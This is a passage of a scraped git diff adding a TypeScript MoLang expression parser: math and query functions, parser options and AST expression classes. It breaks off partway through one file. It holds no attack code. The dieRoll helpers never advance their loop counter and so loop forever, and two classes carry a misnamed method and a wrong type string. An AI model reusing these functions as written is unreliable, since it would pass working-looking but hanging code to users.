 | 
					const clamp = (value: number, min: number, max: number) => {
 | 
				
			||||||
 | 
						if (typeof value !== 'number' || Number.isNaN(value)) return min
 | 
				
			||||||
 | 
						else if (value > max) return max
 | 
				
			||||||
 | 
						else if (value < min) return min
 | 
				
			||||||
 | 
						return value
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					const dieRoll = (sum: number, low: number, high: number) => {
 | 
				
			||||||
 | 
						let i = 0
 | 
				
			||||||
 | 
						let total = 0
 | 
				
			||||||
 | 
						while (i < sum) total += random(low, high)
 | 
				
			||||||
 | 
						return total
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					const dieRollInt = (sum: number, low: number, high: number) => {
 | 
				
			||||||
 | 
						let i = 0
 | 
				
			||||||
 | 
						let total = 0
 | 
				
			||||||
 | 
						while (i < sum) total += randomInt(low, high)
 | 
				
			||||||
 | 
						return total
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					const hermiteBlend = (value: number) => 3 * value ** 2 - 2 * value ** 3
 | 
				
			||||||
 | 
					const lerp = (start: number, end: number, amount: number) => {
 | 
				
			||||||
 | 
						if (amount < 0) amount = 0
 | 
				
			||||||
 | 
						else if (amount > 1) amount = 1
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						return start + (end - start) * amount
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					// Written by @JannisX11 (https://github.com/JannisX11/MolangJS/blob/master/molang.js#L383); modified for usage inside of this MoLang parser
 | 
				
			||||||
 | 
					const lerprotate = (start: number, end: number, amount: number) => {
 | 
				
			||||||
 | 
						const radify = (n: number) => (((n + 180) % 360) + 180) % 360
 | 
				
			||||||
 | 
						start = radify(start)
 | 
				
			||||||
 | 
						end = radify(end)
 | 
				
			||||||
 | 
						if (start > end) {
 | 
				
			||||||
 | 
							let tmp = start
 | 
				
			||||||
 | 
							start = end
 | 
				
			||||||
 | 
							end = tmp
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						if (end - start > 180) return radify(end + amount * (360 - (end - start)))
 | 
				
			||||||
 | 
						else return start + amount * (end - start)
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					const mod = (value: number, denominator: number) => value % denominator
 | 
				
			||||||
 | 
					const random = (low: number, high: number) => low + Math.random() * (high - low)
 | 
				
			||||||
 | 
					const randomInt = (low: number, high: number) =>
 | 
				
			||||||
 | 
						Math.round(low + Math.random() * (high - low))
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					const minAngle = (value: number) => {
 | 
				
			||||||
 | 
						value = value % 360
 | 
				
			||||||
 | 
						value = (value + 360) % 360
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						if (value > 179) value -= 360
 | 
				
			||||||
 | 
						return value
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export const MoLangMathLib = (useRadians: boolean) => {
 | 
				
			||||||
 | 
						const degRadFactor = useRadians ? 1 : Math.PI / 180
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						return {
 | 
				
			||||||
 | 
							'math.abs': Math.abs,
 | 
				
			||||||
 | 
							'math.acos': (x: number) => Math.acos(x) / degRadFactor,
 | 
				
			||||||
 | 
							'math.asin': (x: number) => Math.asin(x) / degRadFactor,
 | 
				
			||||||
 | 
							'math.atan': (x: number) => Math.atan(x) / degRadFactor,
 | 
				
			||||||
 | 
							'math.atan2': (y: number, x: number) => Math.atan2(y, x) / degRadFactor,
 | 
				
			||||||
 | 
							'math.ceil': Math.ceil,
 | 
				
			||||||
 | 
							'math.clamp': clamp,
 | 
				
			||||||
 | 
							'math.cos': (x: number) => Math.cos(x * degRadFactor),
 | 
				
			||||||
 | 
							'math.die_roll': dieRoll,
 | 
				
			||||||
 | 
							'math.die_roll_integer': dieRollInt,
 | 
				
			||||||
 | 
							'math.exp': Math.exp,
 | 
				
			||||||
 | 
							'math.floor': Math.floor,
 | 
				
			||||||
 | 
							'math.hermite_blend': hermiteBlend,
 | 
				
			||||||
 | 
							'math.lerp': lerp,
 | 
				
			||||||
 | 
							'math.lerp_rotate': lerprotate,
 | 
				
			||||||
 | 
							'math.ln': Math.log,
 | 
				
			||||||
 | 
							'math.max': Math.max,
 | 
				
			||||||
 | 
							'math.min': Math.min,
 | 
				
			||||||
 | 
							'math.min_angle': minAngle,
 | 
				
			||||||
 | 
							'math.mod': mod,
 | 
				
			||||||
 | 
							'math.pi': Math.PI,
 | 
				
			||||||
 | 
							'math.pow': Math.pow,
 | 
				
			||||||
 | 
							'math.random': random,
 | 
				
			||||||
 | 
							'math.random_integer': randomInt,
 | 
				
			||||||
 | 
							'math.round': Math.round,
 | 
				
			||||||
 | 
							'math.sin': (x: number) => Math.sin(x * degRadFactor),
 | 
				
			||||||
 | 
							'math.sqrt': Math.sqrt,
 | 
				
			||||||
 | 
							'math.trunc': Math.trunc,
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										25
									
								
								packages/molang/src/env/queries.ts
									
									
									
									
										vendored
									
									
										Normal file
									
								
							
							
						
						
									
										25
									
								
								packages/molang/src/env/queries.ts
									
									
									
									
										vendored
									
									
										Normal file
									
								
							@@ -0,0 +1,25 @@
 | 
				
			|||||||
 | 
					const inRange = (value: number, min: number, max: number) => {
 | 
				
			||||||
 | 
						// Check that value, min and max are numbers
 | 
				
			||||||
 | 
						if (
 | 
				
			||||||
 | 
							typeof value !== 'number' ||
 | 
				
			||||||
 | 
							typeof min !== 'number' ||
 | 
				
			||||||
 | 
							typeof max !== 'number'
 | 
				
			||||||
 | 
						) {
 | 
				
			||||||
 | 
							console.error('"query.in_range": value, min and max must be numbers')
 | 
				
			||||||
 | 
							return false
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						return value >= min && value <= max
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					const all = (mustMatch: unknown, ...values: unknown[]) =>
 | 
				
			||||||
 | 
						values.every((v) => v === mustMatch)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					const any = (mustMatch: unknown, ...values: unknown[]) =>
 | 
				
			||||||
 | 
						values.some((v) => v === mustMatch)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export const standardQueries = {
 | 
				
			||||||
 | 
						'query.in_range': inRange,
 | 
				
			||||||
 | 
						'query.all': all,
 | 
				
			||||||
 | 
						'query.any': any,
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										7
									
								
								packages/molang/src/env/standardEnv.ts
									
									
									
									
										vendored
									
									
										Normal file
									
								
							
							
						
						
									
										7
									
								
								packages/molang/src/env/standardEnv.ts
									
									
									
									
										vendored
									
									
										Normal file
									
								
							@@ -0,0 +1,7 @@
 | 
				
			|||||||
 | 
					import { MoLangMathLib } from './math'
 | 
				
			||||||
 | 
					import { standardQueries } from './queries'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export const standardEnv = (useRadians: boolean) => ({
 | 
				
			||||||
 | 
						...MoLangMathLib(useRadians),
 | 
				
			||||||
 | 
						...standardQueries,
 | 
				
			||||||
 | 
					})
 | 
				
			||||||
							
								
								
									
										1
									
								
								packages/molang/src/index.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										1
									
								
								packages/molang/src/index.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1 @@
 | 
				
			|||||||
 | 
					export * from './main'
 | 
				
			||||||
							
								
								
									
										91
									
								
								packages/molang/src/main.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										91
									
								
								packages/molang/src/main.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,91 @@
 | 
				
			|||||||
 | 
					import { TVariableHandler } from './env/env'
 | 
				
			||||||
 | 
					import { Tokenizer } from './tokenizer/Tokenizer'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					/**
 | 
				
			||||||
 | 
					 * How the parser and interpreter should handle your MoLang expression
 | 
				
			||||||
 | 
					 */
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export interface IParserConfig {
 | 
				
			||||||
 | 
						/**
 | 
				
			||||||
 | 
						 * Whether a cache should be used to speed up executing MoLang.
 | 
				
			||||||
 | 
						 * The cache saves an AST for every parsed expression.
 | 
				
			||||||
 | 
						 * This allows us to skip the tokenization & parsing step before executing known MoLang expressions
 | 
				
			||||||
 | 
						 *
 | 
				
			||||||
 | 
						 * Default: true
 | 
				
			||||||
 | 
						 */
 | 
				
			||||||
 | 
						useCache: boolean
 | 
				
			||||||
 | 
						/**
 | 
				
			||||||
 | 
						 * How many expressions can be cached. After reaching `maxCacheSize`, the whole cache is cleared automatically.
 | 
				
			||||||
 | 
						 * Can be set to `Infinity` to remove the limit completely
 | 
				
			||||||
 | 
						 *
 | 
				
			||||||
 | 
						 * Default: 256
 | 
				
			||||||
 | 
						 */
 | 
				
			||||||
 | 
						maxCacheSize: number
 | 
				
			||||||
 | 
						/**
 | 
				
			||||||
 | 
						 * The optimizer can drastically speed up parsing & executing MoLang.
 | 
				
			||||||
 | 
						 * It enables skipping of unreachable statements, pre-evaluating static expressions and skipping of statements with no effect
 | 
				
			||||||
 | 
						 * when used together with the `useAgressiveStaticOptimizer` option
 | 
				
			||||||
 | 
						 *
 | 
				
			||||||
 | 
						 * Default: true
 | 
				
			||||||
 | 
						 */
 | 
				
			||||||
 | 
						useOptimizer: boolean
 | 
				
			||||||
 | 
						/**
 | 
				
			||||||
 | 
						 * Skip execution of statements with no effect
 | 
				
			||||||
 | 
						 * when used together with the `useOptimizer` option
 | 
				
			||||||
 | 
						 *
 | 
				
			||||||
 | 
						 * Default: true
 | 
				
			||||||
 | 
						 */
 | 
				
			||||||
 | 
						useAgressiveStaticOptimizer: boolean
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						/**
 | 
				
			||||||
 | 
						 * This options makes early return statements skip all parsing work completely
 | 
				
			||||||
 | 
						 *
 | 
				
			||||||
 | 
						 * Default: true
 | 
				
			||||||
 | 
						 */
 | 
				
			||||||
 | 
						earlyReturnsSkipParsing: boolean
 | 
				
			||||||
 | 
						/**
 | 
				
			||||||
 | 
						 * This options makes early return statements skip all tokenization work completely if earlyReturnsSkipParsing is set to true
 | 
				
			||||||
 | 
						 *
 | 
				
			||||||
 | 
						 * Default: true
 | 
				
			||||||
 | 
						 */
 | 
				
			||||||
 | 
						earlyReturnsSkipTokenization: boolean
 | 
				
			||||||
 | 
						/**
 | 
				
			||||||
 | 
						 * Tokenizer to use for tokenizing the expression
 | 
				
			||||||
 | 
						 */
 | 
				
			||||||
 | 
						tokenizer: Tokenizer
 | 
				
			||||||
 | 
						/**
 | 
				
			||||||
 | 
						 * Create expression instances for brackets ("()", "{}")
 | 
				
			||||||
 | 
						 *
 | 
				
			||||||
 | 
						 * This should only be set to true if you want to use the .toString() method of an expression
 | 
				
			||||||
 | 
						 * or you want to iterate over the whole AST
 | 
				
			||||||
 | 
						 *
 | 
				
			||||||
 | 
						 * Default: false
 | 
				
			||||||
 | 
						 */
 | 
				
			||||||
 | 
						keepGroups: boolean
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						/**
 | 
				
			||||||
 | 
						 * Whether to convert undefined variables to "0"
 | 
				
			||||||
 | 
						 *
 | 
				
			||||||
 | 
						 * Default: false
 | 
				
			||||||
 | 
						 */
 | 
				
			||||||
 | 
						convertUndefined: boolean
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						/**
 | 
				
			||||||
 | 
						 * Use radians instead of degrees for trigonometric functions
 | 
				
			||||||
 | 
						 *
 | 
				
			||||||
 | 
						 * Default: false
 | 
				
			||||||
 | 
						 */
 | 
				
			||||||
 | 
						useRadians: boolean
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						/**
 | 
				
			||||||
 | 
						 * Resolve undefined variables
 | 
				
			||||||
 | 
						 */
 | 
				
			||||||
 | 
						variableHandler: TVariableHandler
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export { Tokenizer } from './tokenizer/Tokenizer'
 | 
				
			||||||
 | 
					export { IExpression } from './parser/expression'
 | 
				
			||||||
 | 
					export { CustomMoLang } from './custom/main'
 | 
				
			||||||
 | 
					export { MoLang } from './MoLang'
 | 
				
			||||||
 | 
					export * as expressions from './parser/expressions/index'
 | 
				
			||||||
 | 
					export { Context } from './env/env'
 | 
				
			||||||
							
								
								
									
										57
									
								
								packages/molang/src/parser/expression.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										57
									
								
								packages/molang/src/parser/expression.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,57 @@
 | 
				
			|||||||
 | 
					/**
 | 
				
			||||||
 | 
					 * Interface that describes an AST Expression
 | 
				
			||||||
 | 
					 */
 | 
				
			||||||
 | 
					export interface IExpression {
 | 
				
			||||||
 | 
						readonly type: string
 | 
				
			||||||
 | 
						readonly isReturn?: boolean
 | 
				
			||||||
 | 
						readonly isBreak?: boolean
 | 
				
			||||||
 | 
						readonly isContinue?: boolean
 | 
				
			||||||
 | 
						readonly allExpressions: IExpression[]
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						setFunctionCall?: (value: boolean) => void
 | 
				
			||||||
 | 
						setPointer?: (value: unknown) => void
 | 
				
			||||||
 | 
						setExpressionAt(index: number, expr: IExpression): void
 | 
				
			||||||
 | 
						eval(): unknown
 | 
				
			||||||
 | 
						isStatic(): boolean
 | 
				
			||||||
 | 
						walk(cb: TIterateCallback): IExpression
 | 
				
			||||||
 | 
						iterate(cb: TIterateCallback, visited: Set<IExpression>): void
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export abstract class Expression implements IExpression {
 | 
				
			||||||
 | 
						public abstract readonly type: string
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						abstract eval(): unknown
 | 
				
			||||||
 | 
						abstract isStatic(): boolean
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						toString() {
 | 
				
			||||||
 | 
							return `${this.eval()}`
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						abstract allExpressions: IExpression[]
 | 
				
			||||||
 | 
						abstract setExpressionAt(index: number, expr: IExpression): void
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						walk(cb: TIterateCallback, visited = new Set<IExpression>()): IExpression {
 | 
				
			||||||
 | 
							let expr = cb(this) ?? this
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							expr.iterate(cb, visited)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return expr
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						iterate(cb: TIterateCallback, visited: Set<IExpression>) {
 | 
				
			||||||
 | 
							for (let i = 0; i < this.allExpressions.length; i++) {
 | 
				
			||||||
 | 
								const originalExpr = this.allExpressions[i]
 | 
				
			||||||
 | 
								if (visited.has(originalExpr)) continue
 | 
				
			||||||
 | 
								else visited.add(originalExpr)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								const expr = cb(originalExpr) ?? originalExpr
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								if (expr !== originalExpr && visited.has(expr)) continue
 | 
				
			||||||
 | 
								else visited.add(expr)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								this.setExpressionAt(i, expr)
 | 
				
			||||||
 | 
								expr.iterate(cb, visited)
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export type TIterateCallback = (expr: IExpression) => IExpression | undefined
 | 
				
			||||||
							
								
								
									
										32
									
								
								packages/molang/src/parser/expressions/arrayAccess.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										32
									
								
								packages/molang/src/parser/expressions/arrayAccess.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,32 @@
 | 
				
			|||||||
 | 
					import { Expression, IExpression } from '../expression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class ArrayAccessExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'ArrayAccessExpression'
 | 
				
			||||||
 | 
						constructor(protected name: IExpression, protected lookup: IExpression) {
 | 
				
			||||||
 | 
							super()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							return [this.name, this.lookup]
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt(index: number, expr: IExpression) {
 | 
				
			||||||
 | 
							if (index === 0) this.name = expr
 | 
				
			||||||
 | 
							else if (index === 1) this.lookup = expr
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							return false
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						setPointer(value: unknown) {
 | 
				
			||||||
 | 
							;(<any>this.name.eval())[<number>this.lookup.eval()] = value
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							return (<any>this.name.eval())[<number>this.lookup.eval()]
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						toString() {
 | 
				
			||||||
 | 
							return `${this.name.toString()}[${this.lookup.toString()}]`
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										21
									
								
								packages/molang/src/parser/expressions/boolean.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										21
									
								
								packages/molang/src/parser/expressions/boolean.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,21 @@
 | 
				
			|||||||
 | 
					import { Expression } from '../expression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class BooleanExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'BooleanExpression'
 | 
				
			||||||
 | 
						constructor(protected value: boolean) {
 | 
				
			||||||
 | 
							super()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							return []
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt() {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							return true
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							return this.value
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										26
									
								
								packages/molang/src/parser/expressions/break.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										26
									
								
								packages/molang/src/parser/expressions/break.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,26 @@
 | 
				
			|||||||
 | 
					import { Expression } from '../expression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class BreakExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'BreakExpression'
 | 
				
			||||||
 | 
						isBreak = true
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor() {
 | 
				
			||||||
 | 
							super()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							return []
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt() {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							return false
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							return 0
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						isString() {
 | 
				
			||||||
 | 
							return 'break'
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										48
									
								
								packages/molang/src/parser/expressions/contextSwitch.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										48
									
								
								packages/molang/src/parser/expressions/contextSwitch.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,48 @@
 | 
				
			|||||||
 | 
					import { ExecutionEnvironment } from '../../env/env'
 | 
				
			||||||
 | 
					import { Expression, IExpression } from '../expression'
 | 
				
			||||||
 | 
					import { NameExpression } from './name'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class ContextSwitchExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'NameExpression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor(
 | 
				
			||||||
 | 
							protected leftExpr: NameExpression,
 | 
				
			||||||
 | 
							protected rightExpr: NameExpression
 | 
				
			||||||
 | 
						) {
 | 
				
			||||||
 | 
							super()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							return [this.leftExpr, this.rightExpr]
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt(index: number, expr: IExpression) {
 | 
				
			||||||
 | 
							if (!(expr instanceof NameExpression))
 | 
				
			||||||
 | 
								throw new Error(
 | 
				
			||||||
 | 
									`Cannot use context switch operator "->" on ${expr.type}`
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (index === 0) this.leftExpr = expr
 | 
				
			||||||
 | 
							else if (index === 1) this.rightExpr = expr
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							return false
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							const context = this.leftExpr.eval()
 | 
				
			||||||
 | 
							if (typeof context !== 'object') return 0
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							this.rightExpr.setExecutionEnv(
 | 
				
			||||||
 | 
								new ExecutionEnvironment(
 | 
				
			||||||
 | 
									context,
 | 
				
			||||||
 | 
									this.rightExpr.executionEnv.config
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
							return this.rightExpr.eval()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						toString() {
 | 
				
			||||||
 | 
							return `${this.leftExpr.toString()}->${this.rightExpr.toString()}`
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										26
									
								
								packages/molang/src/parser/expressions/continue.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										26
									
								
								packages/molang/src/parser/expressions/continue.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,26 @@
 | 
				
			|||||||
 | 
					import { Expression } from '../expression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class ContinueExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'ContinueExpression'
 | 
				
			||||||
 | 
						isContinue = true
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor() {
 | 
				
			||||||
 | 
							super()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							return []
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt() {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							return false
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							return 0
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						toString() {
 | 
				
			||||||
 | 
							return 'continue'
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										63
									
								
								packages/molang/src/parser/expressions/forEach.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										63
									
								
								packages/molang/src/parser/expressions/forEach.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,63 @@
 | 
				
			|||||||
 | 
					import { Expression, IExpression } from '../expression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class ForEachExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'ForEachExpression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor(
 | 
				
			||||||
 | 
							protected variable: IExpression,
 | 
				
			||||||
 | 
							protected arrayExpression: IExpression,
 | 
				
			||||||
 | 
							protected expression: IExpression
 | 
				
			||||||
 | 
						) {
 | 
				
			||||||
 | 
							super()
 | 
				
			||||||
 | 
							if (!this.variable.setPointer)
 | 
				
			||||||
 | 
								throw new Error(
 | 
				
			||||||
 | 
									`First for_each() argument must be a variable, received "${typeof this.variable.eval()}"`
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get isReturn() {
 | 
				
			||||||
 | 
							return this.expression.isReturn
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							return [this.variable, this.arrayExpression, this.expression]
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt(index: number, expr: IExpression) {
 | 
				
			||||||
 | 
							if (index === 0) this.variable = expr
 | 
				
			||||||
 | 
							else if (index === 1) this.arrayExpression = expr
 | 
				
			||||||
 | 
							else if (index === 2) this.expression = expr
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							return (
 | 
				
			||||||
 | 
								this.variable.isStatic() &&
 | 
				
			||||||
 | 
								this.arrayExpression.isStatic() &&
 | 
				
			||||||
 | 
								this.expression.isStatic()
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							const array = this.arrayExpression.eval()
 | 
				
			||||||
 | 
							if (!Array.isArray(array))
 | 
				
			||||||
 | 
								throw new Error(
 | 
				
			||||||
 | 
									`Second for_each() argument must be an array, received "${typeof array}"`
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							let i = 0
 | 
				
			||||||
 | 
							while (i < array.length) {
 | 
				
			||||||
 | 
								// Error detection for this.variable is part of the constructor
 | 
				
			||||||
 | 
								this.variable.setPointer?.(array[i++])
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								const res = this.expression.eval()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								if (this.expression.isBreak) break
 | 
				
			||||||
 | 
								else if (this.expression.isContinue) continue
 | 
				
			||||||
 | 
								else if (this.expression.isReturn) return res
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return 0
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						toString() {
 | 
				
			||||||
 | 
							return `loop(${this.variable.toString()},${this.arrayExpression.toString()},${this.expression.toString()})`
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										46
									
								
								packages/molang/src/parser/expressions/function.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										46
									
								
								packages/molang/src/parser/expressions/function.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,46 @@
 | 
				
			|||||||
 | 
					import { NameExpression } from './name'
 | 
				
			||||||
 | 
					import { Expression, IExpression } from '../expression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class FunctionExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'FunctionExpression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor(protected name: IExpression, protected args: IExpression[]) {
 | 
				
			||||||
 | 
							super()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							return [this.name, ...this.args]
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt(index: number, expr: Expression) {
 | 
				
			||||||
 | 
							if (index === 0) this.name = expr
 | 
				
			||||||
 | 
							else if (index > 0) this.args[index - 1] = expr
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							return false
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							const args: unknown[] = []
 | 
				
			||||||
 | 
							let i = 0
 | 
				
			||||||
 | 
							while (i < this.args.length) args.push(this.args[i++].eval())
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							const func = <(...args: unknown[]) => unknown>this.name.eval()
 | 
				
			||||||
 | 
							if (typeof func !== 'function')
 | 
				
			||||||
 | 
								throw new Error(
 | 
				
			||||||
 | 
